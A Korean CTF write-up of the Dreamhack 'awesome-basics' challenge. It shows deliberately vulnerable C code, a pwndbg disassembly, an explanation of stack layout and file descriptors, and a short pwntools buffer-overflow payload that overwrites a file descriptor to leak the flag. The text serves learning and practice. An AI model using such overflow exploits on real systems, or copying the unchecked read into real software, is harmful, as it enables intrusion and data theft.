rsp-∞
[Dreamhack CTF Season 3 Round #2] awesome-basics 본문

문제 이름이 awesome-basics인 만큼 문제 설명 또한 간단하고, 문제가 기초적인 BOF 취약점을 가지고 있음을 알 수 있다. 문제 파일을 다운로드 받고 C 파일을 열어 보았다.
// Name: chall.c
// Compile: gcc -zexecstack -fno-stack-protector chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define FLAG_SIZE 0x45
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
char *flag;
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
int flag_fd;
int tmp_fd;
char buf[80];
initialize();
// read flag
flag = (char *)malloc(FLAG_SIZE);
flag_fd = open("./flag", O_RDONLY);
read(flag_fd, flag, FLAG_SIZE);
close(flag_fd);
tmp_fd = open("./tmp/flag", O_WRONLY);
write(stdout_fd, "Your Input: ", 12);
read(stdin_fd, buf, 0x80);
write(tmp_fd, flag, FLAG_SIZE);
write(tmp_fd, buf, 80);
close(tmp_fd);
return 0;
}
C 코드를 보며 이 프로그램이 어떻게 동작하는지 알아보자. 일단 프로그램은 30초 동안 실행되고, 가장 먼저 프로그램이 ./flag 파일에서 데이터를 읽어 메모리에 저장한다. "Your Input: " 메시지를 출력한 뒤 사용자로부터 최대 128(0x80) 바이트의 입력을 받는다. 플래그와 사용자 입력 데이터를 ./tmp/flag 파일에 결합하여 저장한다. 앞서 언급했듯 128(0x80) 바이트를 읽어 buf에 저장하지만 buf가 이미 위에서 크기가 80 바이트로 선언이 되어 버퍼 오버플로우 취약점을 가지게 된다. 실행 파일을 디스어셈블하여 스택 프레임을 구하기 위한 오프셋들을 구해 보자.
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000000012ef <+0>: endbr64
0x00000000000012f3 <+4>: push rbp
0x00000000000012f4 <+5>: mov rbp,rsp
0x00000000000012f7 <+8>: sub rsp,0x70
0x00000000000012fb <+12>: mov DWORD PTR [rbp-0x64],edi
0x00000000000012fe <+15>: mov QWORD PTR [rbp-0x70],rsi
0x0000000000001302 <+19>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000001309 <+26>: mov DWORD PTR [rbp-0x8],0x1
0x0000000000001310 <+33>: mov eax,0x0
0x0000000000001315 <+38>: call 0x128a <initialize>
0x000000000000131a <+43>: mov edi,0x45
0x000000000000131f <+48>: call 0x1140 <malloc@plt>
0x0000000000001324 <+53>: mov QWORD PTR [rip+0x2d05],rax # 0x4030 <flag>
0x000000000000132b <+60>: mov esi,0x0
0x0000000000001330 <+65>: lea rax,[rip+0xcd6] # 0x200d
0x0000000000001337 <+72>: mov rdi,rax
0x000000000000133a <+75>: mov eax,0x0
0x000000000000133f <+80>: call 0x1160 <open@plt>
0x0000000000001344 <+85>: mov DWORD PTR [rbp-0xc],eax
0x0000000000001347 <+88>: mov rcx,QWORD PTR [rip+0x2ce2] # 0x4030 <flag>
0x000000000000134e <+95>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000001351 <+98>: mov edx,0x45
0x0000000000001356 <+103>: mov rsi,rcx
0x0000000000001359 <+106>: mov edi,eax
0x000000000000135b <+108>: call 0x1120 <read@plt>
0x0000000000001360 <+113>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000001363 <+116>: mov edi,eax
0x0000000000001365 <+118>: call 0x1110 <close@plt>
0x000000000000136a <+123>: mov esi,0x1
0x000000000000136f <+128>: lea rax,[rip+0xc9e] # 0x2014
0x0000000000001376 <+135>: mov rdi,rax
0x0000000000001379 <+138>: mov eax,0x0
0x000000000000137e <+143>: call 0x1160 <open@plt>
0x0000000000001383 <+148>: mov DWORD PTR [rbp-0x10],eax
0x0000000000001386 <+151>: mov eax,DWORD PTR [rbp-0x8]
0x0000000000001389 <+154>: mov edx,0xc
0x000000000000138e <+159>: lea rcx,[rip+0xc8a] # 0x201f
0x0000000000001395 <+166>: mov rsi,rcx
0x0000000000001398 <+169>: mov edi,eax
0x000000000000139a <+171>: call 0x10f0 <write@plt>
0x000000000000139f <+176>: lea rcx,[rbp-0x60]
0x00000000000013a3 <+180>: mov eax,DWORD PTR [rbp-0x4]
0x00000000000013a6 <+183>: mov edx,0x80
0x00000000000013ab <+188>: mov rsi,rcx
0x00000000000013ae <+191>: mov edi,eax
0x00000000000013b0 <+193>: call 0x1120 <read@plt>
0x00000000000013b5 <+198>: mov rcx,QWORD PTR [rip+0x2c74] # 0x4030 <flag>
0x00000000000013bc <+205>: mov eax,DWORD PTR [rbp-0x10]
0x00000000000013bf <+208>: mov edx,0x45
0x00000000000013c4 <+213>: mov rsi,rcx
0x00000000000013c7 <+216>: mov edi,eax
0x00000000000013c9 <+218>: call 0x10f0 <write@plt>
0x00000000000013ce <+223>: lea rcx,[rbp-0x60]
0x00000000000013d2 <+227>: mov eax,DWORD PTR [rbp-0x10]
0x00000000000013d5 <+230>: mov edx,0x50
0x00000000000013da <+235>: mov rsi,rcx
0x00000000000013dd <+238>: mov edi,eax
0x00000000000013df <+240>: call 0x10f0 <write@plt>
0x00000000000013e4 <+245>: mov eax,DWORD PTR [rbp-0x10]
0x00000000000013e7 <+248>: mov edi,eax
0x00000000000013e9 <+250>: call 0x1110 <close@plt>
0x00000000000013ee <+255>: mov eax,0x0
0x00000000000013f3 <+260>: leave
0x00000000000013f4 <+261>: ret
End of assembler dump.
선언되고 있는 지역 변수들을 스택에 쌓는다. buf를 제외하면 모두 4 바이트 크기의 정수형이므로 크기는 4 바이트씩이다. 이를 전부 반영하여 스택 프레임을 그려 보면 다음과 같다.
(Cherry를 풀면서 느낀 건 디스어셈블한 코드를 보더라도 call 명령어를 찾아 어떤 함수를 호출하고 있는지, 호출하고 있는 함수의 인자는 무엇인지 파악하는 것이 중요하다는 것. 스택 프레임을 그릴 때 항상 RET 위에 RBP(SFP)가 쌓이고 지역 변수 등이 쌓이는데, 사실 최우선은 인자이다. 만약 sum(x, y)라고 하는 함수를 부른다고 하면, 스택에는 차례대로 y, x, RET, RBP가 저장되는 것이다. 그러므로 스택 프레임을 그릴 때 call이 호출하고 있는 함수의 인자는 디스어셈블한 결과에서 call 명령어보다 먼저 mov 명령어를 통해 스택에 저장되는 과정을 거친다. 이것을 알고 있다면 rbp에서 얼마나 떨어진 거리에 어떤 함수의 어떤 인자가 쌓이고 있는 것인지 쉽게 파악할 수 있다.)

0x60에서 0x10을 빼면 십진수로 80, buf의 크기와 같다. 오히려 Cherry보다 스택 프레임을 그리기 훨씬 수월했다. 이제 문제를 풀어야 할 텐데, 보통의 BOF 문제는 함수의 반환 주소를 조작하는 방법으로 쉘을 획득한다. 그러나 우리가 지금 풀고 있는 문제는 양상이 살짝 다르다.
우리가 눈여겨 봐야 할 변수는 tmp_fd이다. tmp_fd = open("./tmp/flag", O_WRONLY);에서 반환된 FD 값이 write 함수의 첫 번째 인자로 전달된다. 이 코드의 프로토타입을 살펴보면 open 명령어를 통해 파일을 여는데, ./tmp/flag 파일이 존재하는 경우 파일을 열 때의 동작 방식을 두 번째 인자로 설정한다. 여기서는 쓰기 전용으로 파일을 열고 있어서 세 번째 인자는 없으나, 세 번째 인자는 새 파일을 생성하는 경우에 권한을 설정하는 데 쓰인다.
그러면 여기서 tmp_fd가 반환받는 파일 디스크립터의 값은 1일까? 답은 아니다. tmp_fd가 1로 설정되지 않는 이유로는 다음과 같다. 1은 이미 사용 중이다. 프로그램이 시작되면 1은 표준 출력(stdout)으로 설정된다. open 함수는 이미 사용 중인 파일 디스크립터 번호를 재활용하지 않기 때문에 1을 할당하지 않는 것이다. 둘째로 운영체제의 파일 디스크립터 할당 규칙을 고려해야 한다. 운영체제는 항상 사용하지 않은 가장 낮은 파일 디스크립터 번호부터 할당한다. 프로그램이 실행되면 운영체제는 자동으로 표준 입력, 출력, 오류를 설정하는데, 이것이 0, 1, 2인 것. 이 파일 디스크립터들은 항상 사용 중인 것으로 표시된다.
이하 코드는 tmp_fd로 지정된 파일에 플래그 값을 쓴다.
write(tmp_fd, flag, FLAG_SIZE);
위에서 언급한 파일 디스크립터 할당 규칙에 의해 임의의 값을 저장하고 있는 tmp_fd를 1로 변경한다면, write(1, flag, FLAG_SIZE)가 되어 플래그 값이 표준 출력으로 플래그 데이터가 파일 대신 화면(stdout)에 출력될 것이다. write 함수의 구조를 보면 총 3개의 인자를 받고 있는데, 첫 번째 인자는 데이터를 기록할 파일 디스크립터, 두 번째 인자는 기록할 데이터가 저장된 버퍼의 주소, 세 번째 인자는 기록할 데이터의 바이트 수를 의미한다. 두 번째 인자가 가리키고 있는 버퍼의 데이터 중 얼마를 꺼내 기록할지를 결정하는 것이다.
그러면 스택 프레임을 다시 보았을 때 우리가 버퍼 오버플로우로 값을 조작해야 하는 부분은 ret이 아니라 buf 바로 밑에 있는 tmp_fd이다. buf의 크기가 80 바이트임을 알고 있으므로 80 바이트만큼의 더미 값을 주고, tmp_fd의 진입점에서 쓰기를 실행하는 파일 디스크립터 1을 집어넣어 주면 된다. 그러면 tmp_fd의 값이 1로 설정되어 표준 출력을 통해 화면에 플래그를 출력시킬 수 있다.
from pwn import *
p = remote('host3.dreamhack.games', _____)
payload = b'A'*80
payload += p64(1)
p.sendline(payload)
p.interactive()